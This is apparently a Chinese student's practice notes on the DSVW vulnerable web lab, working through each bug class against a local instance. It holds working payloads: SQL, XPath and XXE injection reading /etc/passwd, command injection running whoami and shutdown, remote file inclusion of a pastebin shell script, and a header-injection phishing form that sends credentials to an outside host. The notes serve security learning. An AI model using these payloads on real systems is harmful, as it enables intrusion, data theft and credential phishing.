是针对DSVW靶场的练习笔记
是在搞完Pikachu靶场之后
在整理vulnstack的Web安全入门进阶靶场时发现的
里面版本比较老,就单独搞出来玩玩
最新版本v0.2b用Python 3运行
代码很顶,只有不到100行的代码
最后学习一下代码
环境:Kali Linux 2021.2 x64 | Python 3.9.2
由于也接触过几个Web靶场了,有些常见漏洞点就不太提及了
各漏洞点后面的info
,都来自于OWASP Web安全测试指引(WSTG)
但是靶场中指向的URL版本都比较老
这里是最新版的测试指引(后面可能也旧了嘻嘻)
EZ(呃,被打脸了,所以前进路上永不骄傲)
GET参数id
为注入点,输入“’”的报错信息:
Traceback (most recent call last):
File "/usr/share/DSVW/dsvw.py", line 30, in do_GET
cursor.execute("SELECT id, username, name, surname FROM users WHERE id=" + params["id"])
sqlite3.OperationalError: near "'": syntax error
简单验证payload:/?id=99 union select 1,2,3,4
,判断回显4列
但是下面遇到难题了
因为是SQLite数据库,所有很多函数和常识都不太清楚
出门吃瘪,难受,学习去了
简单学了下
爆库:?id=99 union select type,name,tbl_name,sql from sqlite_master
sql字段返回表的结构
爆users表:?id=99 union select id,username,name,password from users
最后试试sqlmap,随便打
等一下,是盲注?这不全显了吗,服了= =
官方给的盲注payload:
/?id=2 and SUBSTR((SELECT password FROM users WHERE name='admin'),1,1)='7'
还是逻辑判断、substr那一套
一样能直接全显,但是要试试时间盲注
官方payload:
?id=(SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name='admin'),2,1)='e') THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))
要点:
case-when-then-else
语句做选择,起到类似于if-else
的作用LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))
休眠语句还不太明白
union & union all
union内部的select语句必须拥有相同数量的列
列也必须拥有相似的数据类型
同时,每条select语句中的列的顺序必须相同
union选取的是“集合”,值不重复
union all则会选取所有结果
就是这个:
?id=99 union select id,username,name,password from users
官方payload:
/?id=2 UNION ALL SELECT NULL, NULL, NULL, (SELECT id||','||username||','||password FROM users WHERE username='admin')
涉及到一个多列拼接成一个字符串的方法:||','||
(大概是这样吧)
密码打入单引号:/login?username=admin&password='
报错信息:
Traceback (most recent call last):
File "/usr/share/DSVW/dsvw.py", line 67, in do_GET
cursor.execute("SELECT * FROM users WHERE username='" + re.sub(r"[^\w]", "", params.get("username", "")) + "' AND password='" + params.get("password", "") + "'")
sqlite3.OperationalError: unrecognized token: "'''"
绕过payload:/login?username=admin&password=' or '1'='1
HTTP参数污染?没听过
先上网冲浪学习一波
又称HPP,大概是请求参数中有两个参数同名的话
不同Web服务器对其的处理规则不同
从而导致利用点出现
例如PHP/Apache里边,会把最后一个同名参数作为传参
http://www.xx.com/?id=1&id=' or '1'='1
有可能检测到第一个id
正常就通过,而传入服务器的是后面的恶意参数
下面是具体不同Web服务器的处理方式:
Web服务器 | 参数获取函数 | 获取到的参数 |
---|---|---|
PHP/Apache | $_GET(“par”) | Last |
JSP/Tomcat | Request.getParameter(“par”) | First |
Perl(CGI)/Apache | Param(“par”) | First |
Python/Apache | Getvalue(“par”) | All(List) |
ASP/IIS | Request.QueryString(“par”) | All(comma-delimited string) |
通常可以被其他漏洞结合使用,如XSS
也常用于WAF Bypass
靶场使用Python语言写的,所以对于多个重名参数,后端会做拼接处理
所以就有了官方payload:
/login?username=admin&password='/*&password=*/OR/*&password=*/'1'/*&password=*/LIKE/*&password=*/'1
多个password
参数,拼接后变成:
'/**/OR/**/'1'/**/LIKE/**/'1
注释做间隔,逻辑判断为真,因此通过检验,绕过登录
有个GET的参数v
,传入内容会在页面最下面显示
传入即弹窗
攻击者准备恶意服务器
准备获取cookie的接口、钓鱼页面、键盘记录脚本等
构造指向这些恶意攻击的payload,形成钓鱼链接诱惑受害者
存储型,由于payload可以直接打入开放的页面
所以无需太多社工,直接打入payload
每个浏览到的人都会中招
DOM型,大致上和JS脚本动态操纵HTML元素有关
页面源码找到相关的JS代码:
if (index != -1) document.write('Chosen language: ' + decodeURIComponent(document.location.hash.substring(index + 5)) + '');
大概就是根据GET参数lang
来在页面上动态地写入一个元素
根据上面的代码去主动闭合,有以下弹窗payload:
/?#lang=
没听说过
JSON with Padding是json的一种“使用模式”
可以让网页从别的域名(网站)那获取资料,即跨域读取数据
一个学习资料
大概就是由json格式封装的一段js代码
另外关于跨域的问题,很多标签里面的src
属性是不受同源策略限制的
一个漏洞示范:
echo $_GET['callback'] . '(' . $jsonData . ');';
大概就是callback
参数传递函数名,后面的$jsonData
传递函数参数
再配合恰当的Content-Type
头,echo出来,就有可能形成XSS等漏洞
看看链接的URL:/users.json?callback=process
看看users.json的内容,是一些用户信息
在原页面找到process
函数的源码:
function process(data) {
alert("Surname(s) from JSON results: " + Object.keys(data).map(function(k) {return data[k]}));
};
然后官方的payload:
http://10.10.10.1:65412/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess
奇怪的是直接地址栏输入不会引发弹窗,看看链接的onclick函数:
function onclick(event) {
var script = document.createElement('script');
script.src = '/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess';
document.getElementsByTagName('head')[0].appendChild(script);
return false
}
可能还和DOM的使用有关,emmmm
xml
参数接收一段XML数据来解析,直接上payload(注意URL编码):
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%3C!DOCTYPE%20author%20%5B%3C!ENTITY%20js%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cauthor%3E%26js%3B%3C%2Fauthor%3E
]>
实际上好像不用前面那段xml定义说明也OK?
另外shadow也能看到,权限真是高啊
就是XXE能引用到远程的xml数据,不限于攻击者服务器上的恶意数据
path
参数接受一个资源,然后由服务器去请求,再回显给用户
file:///etc/passwd
:请求服务器敏感数据
http://localhost:8878
:探测本机或内网端口,或者是访问内网站点
XPath注入?没听说过
XPath的学习内容搬到了另外的笔记
GET参数name
传入admin
,正常回显
传入' or '1'='1
,也回显了一个“vargas”,说明存在XPath注入
传入'
,报错,暴露查询语句:
xpath(".//user[name/text()='%s']" % params["name"])
根据查询语句构造payload试图暴库:']|.//*|ss['
期待XPath查询语句变成这样:.//user[name/text()='']|.//*|ss['']
但是执行还是报错:
Traceback (most recent call last):
File "/usr/share/DSVW/dsvw.py", line 44, in do_GET
content += "Surname: %s%s" % (found[-1].find("surname").text if found else "-", HTML_POSTFIX)
AttributeError: 'NoneType' object has no attribute 'text'
估计是只回显某个用户的surname
字段,所以全部爆出来会出现元素定位错误
那就按照题目意思去盲注
官方payload:?name=admin' and substring(password/text(),3,1)='n
.//user[name/text()='admin' and substring(password/text(),3,1)='n']
下面盲注猜解建议配合使用二分法
猜解当前节点的元素个数:
/?name=admin' and count(.//*)=4 and '1'='1
猜解第一个元素名称的长度:
/?name=admin' and string-length(name(.//*[position()=1]))=8 and '1'='1
猜解第一个元素名称的第一个字符:
/?name=admin' and substring(name(.//*[position()=1]),1,1)='u' and '1'='1
猜解第一个元素名称:
/?name=admin' and name(.//*[position()=1])='username' and '1'='1
猜解第四个元素名称:
/?name=admin' and name(.//*[position()=4])='password' and '1'='1
猜解第四个元素的值的长度:
/?name=admin' and string-length(.//password/text())=10 and '1'='1
猜解第四个元素的值的第一个字符(字符之间可以直接用大小与号比较):
/?name=admin' and substring(.//password/text(), 1, 1)='7' and '1'='1
猜解第四个元素的值:
/?name=admin' and .//password/text()='7en8aiDoh!' and '1'='1
以上盲注都是进入到与’admin’有关的特定范围
是使用.//
来选取当前节点
当然也可以使用/
来从根元素选取节点
完整的XML文件如下:
<users>
<user id="0">
<username>adminusername>
<name>adminname>
<surname>adminsurname>
<password>7en8aiDoh!password>
user>
<user id="1">
<username>dricciusername>
<name>dianname>
<surname>riccisurname>
<password>12345password>
user>
<user id="2">
<username>amasonusername>
<name>anthonyname>
<surname>masonsurname>
<password>gandalfpassword>
user>
<user id="3">
<username>svargasusername>
<name>sandraname>
<surname>vargassurname>
<password>phest1945password>
user>
users>
再注一下加深印象
只有一个根节点:
/?name=admin' and count(/*)=1 and '1'='1
根节点名称长度为5:
/?name=admin' and string-length(name(/*[position()=1]))=5 and '1'='1
根节点名称第一个字符为‘u’:
/?name=admin' and substring(name(/*[position()=1]),1,1)='u' and '1'='1
根节点名称为“users”:
/?name=admin' and name(/*[position()=1])='users' and '1'='1
根节点下面有4个节点:
/?name=admin' and count(/users/*)=4 and '1'='1
/users下面第一个节点的名字是“user”:
/?name=admin' and name(/users/*[position()=1])='user' and '1'='1
第一个user节点下面有4个节点:
/?name=admin' and count(/users/user[position()=1]/*)=4 and '1'='1
如果某一结点下面没有子节点,那么这样子将会直接返回节点值:
/users/user[position()=1]/*[position()=1]
匹配admin
因此叶子节点应该这样提取节点名称:
name(/users/user[position()=1]/*[position()=1])
所以第一个user节点的第四个(叶子)节点长度为8:
/?name=admin' and string-length(name(/users/user[position()=1]/*[position()=4]))=8 and '1'='1
第一个user节点的第四个(叶子)节点名称的第一个字符为‘p’:
/?name=admin' and substring(name(/users/user[position()=1]/*[position()=4]),1,1)='p' and '1'='1
第一个user节点的第四个(叶子)节点名称为“password”
/?name=admin' and name(/users/user[position()=1]/*[position()=4])='password' and '1'='1
/users/user[position()=1]/*[position()=4]
这个匹配到password的值
下略BLABLABLA
老实说,感觉这个漏洞演示做得并不算太好
因为CSRF本质上是“借”权限执行非法操作
但是这个靶场本身的所有请求都没有鉴权措施
再看看官方payload:
/?v=I quit the job
一看,好像可以分成两部分
一部分是外层的v
参数,这个参数在XSS里边出现过
另一部分是里层的comment
参数,提交了CSRF漏洞本身页面的参数
我是这样理解的:
模拟的是用户已经有了提交comment
参数的权限
但是这时候用户接收到了钓鱼链接,是一个XSS
点击之后,无意间“被”提交了comment
从而模拟了“借权限”写入数据
框架注入,没了解过,上网学习
一个找到的学习链接
好像就是类似于XSS,或者说是它的一种攻击情况
在网页中注入含有恶意内容的frame或iframe标签
框架注入攻击允许黑客将用户重定向到用于网络钓鱼和类似攻击的其他恶意网站
可以考虑使用内容安全策略(CSP)标头来防御此类攻击
靶场接口也是简单地GET传递v
参数,之前测试XSS的也是这里
官方payload:
/?v=0.2
后面还有一些样式属性
执行效果为在页面中间出现一个方框展现另一个站点的内容
感觉和XSS差不多
估计可以指向恶意站点或加载恶意脚本,从而执行恶意操作
官方payload:
/?v=0.2
和上一个的区别好像就是
恶意框架是覆盖了整个原页面
估计是想达成欺骗用户的效果
上一个的phishing,是“网络钓鱼”的意思
这个content spoofing,是“内容欺骗”的意思
好像都是钓鱼?
点击劫持,大概也是XSS的一种利用形式吧,我猜的
官方payload:
/?v=0.2
就是利用之前XSS的地方,往整个页面上覆盖了一个div
标签
然后设置一点击,就会跳到别的页面
估计这样达成刷流量或刷点击率或执行恶意脚本的目的
当然这个onclick
函数也可以设置成别的
但是覆盖一层div
之后,鼠标放到蓝链上不会有“小指头”了
不安全的URL跳转
一个redir
参数传入要跳转的URL,官方payload也是截向了别的网站
估计是可以给用户控制,用正确的域名做钓鱼链接,欺骗性比较好吧
任意代码执行
domain
参数传入一个域名,之后返回域名的IP信息:
Server: 10.10.10.254
Address: 10.10.10.254#53
Non-authoritative answer:
Name: www.google.com
Address: 142.250.207.68
看回显,估计是系统执行了类似dig www.google.com
之类的命令吧
(当然上面不像是dig命令后的回显)
(后面看了看源码,是nslookup)
于是可以试试传参后面加;
,再拼接别的命令试试
payload:/?domain=localhost;whoami
回显:
Server: 10.10.10.254
Address: 10.10.10.254#53
Name: localhost.localdomain
Address: 127.0.0.1
root
存在任意命令执行漏洞
然后关机:/?domain=localhost;shutdown~
Shutdown scheduled for Wed 2021-12-01 15:35:14 CST, use 'shutdown -c' to cancel.
赶紧取消
皮一下
绝对路径暴露?
好像传入不同的绝对路径,会告诉你“路径/文件不存在”或“XXX是一个文件夹”等
从而目录遍历?
呃,传入path
参数为/usr/share/DSVW/dsvw.py
就爆出了页面源码
我愿意称之为敏感信息暴露或任意文件访问
路径穿越
传入path
参数为../../../../../../../../etc/passwd
类似于上面两个,估计是想突出“dot-dot-slash”在文件访问的对外接口中可用
远程文件包含
直接给include
参数去包含远程脚本,好啊
官方payload:
/?include=http://pastebin.com/raw.php?i=6VyyNNhc&cmd=ifconfig
从而执行远程脚本
这里只能包含(Python)脚本文件
文本文件如passwd
会报Python语法错误
关于这个http://pastebin.com/raw.php?i=6VyyNNhc:
import re
import subprocess
import urllib.parse
params = dict((match.group("parameter"), urllib.parse.unquote(match.group("value"))) for match in re.finditer(r"((\A|[?&])(?P[\w\[\]]+)=)(?P[^&]+)" , QUERY_STRING))
if "cmd" in params:
result = subprocess.check_output(params["cmd"], shell=True, stderr=subprocess.STDOUT)
print("%s
" % result.decode())
接受一个cmd参数去执行命令
HTTP头注入-钓鱼版
一个GET的charset
参数,接受字符集参数(实际上什么都行)
传过去之后,会直接拼接在返回包的Content-Type
头里边:
Content-Type: text/html; charset=utf8
值得注意的是,是拼接在HTTP返回头的最后面的,再下面就是空行以及返回体了
于是有了官方payload:
/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3ELogin%3C%2Ftitle%3E%3C%2Fhead%3E%3Cbody%20style%3D%27font%3A%2012px%20monospace%27%3E%3Cform%20action%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.php%22%20onSubmit%3D%22alert(%27visit%20%5C%27http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.txt%5C%27%20to%20see%20your%20phished%20credentials%27)%22%3EUsername%3A%3Cbr%3E%3Cinput%20type%3D%22text%22%20name%3D%22username%22%3E%3Cbr%3EPassword%3A%3Cbr%3E%3Cinput%20type%3D%22password%22%20name%3D%22password%22%3E%3Cinput%20type%3D%22submit%22%20value%3D%22Login%22%3E%3C%2Fform%3E%3C%2Fbody%3E%3C%2Fhtml%3E
解码一下,就是:
/?charset=utf8
X-XSS-Protection:0
Content-Length:388
Login
于是拼接之后,检测到空行,就默认读到了返回体
于是就回显了payload构造的HTML内容
于是就形成了钓鱼的效果
就是说可以对于参数拼接到返回头的,要特别小心
可能会被控制返回的HTML内容
而域名是正确的
可能会被钓鱼
不安全组件(pickle?)
这个需要雄厚的第三方组件或者是CVE的知识= =
pickle是Python标准库,用于实现Python对象的二进制序列化和反序列化
官方文档
“pickling” 是将 Python 对象及其所拥有的层次结构转化为一个字节流的过程,而 “unpickling” 是相反的操作,会将(来自一个 binary file 或者 bytes-like object 的)字节流转化回一个对象层次结构。
关于pickle模块的缺陷,官方简要解释如下:
警告
pickle
模块并不安全。你只应该对你信任的数据进行unpickle操作。构建恶意的 pickle 数据来在解封时执行任意代码是可能的。绝对不要对不信任来源的数据和可能被篡改过的数据进行解封。
请考虑使用
hmac
来对数据进行签名,确保数据没有被篡改。在你处理不信任数据时,更安全的序列化格式如
json
可能更为适合。参见 与 json 模块的比较 。
源码的一处相关代码:
content = str(pickle.loads(params["object"].encode()))
估计是执行一个反序列化的过程
DOS!
一个size
参数,传入32的返回:
Time required (to 'resize image' to 32x32): 0.000009 seconds
估计会根据参数调用服务器资源去生成图片
要是参数过大,则会过分消耗服务器资源,形成DOS
点击官方payload后,页面长时间不回应,断开了连接,系统也变卡
算是提供了一个防御恶意DOS的方向
注意合理控制用户对系统资源的消耗
还算可以,补充了一些Web漏洞知识,特别是XPath注入
但是靶场太“精致”了,很多漏洞点的演示过于简单
一些利用场景要求学习者有一定基础才可能理解出来
最后再感叹一下代码之精简,不到一百行就整了个靶场
(虽然很多地方重用,但还是可以加深下各漏洞的对比和理解)
源码不放了,这里
(值得注意的是这个靶场的作者就是sqlmap的作者,NB)
刚认真看了下。。。。
感觉也不用可以去学?
感觉这种刻意压缩编码的感觉。。。。
算了算了,学学HTTP服务相关吧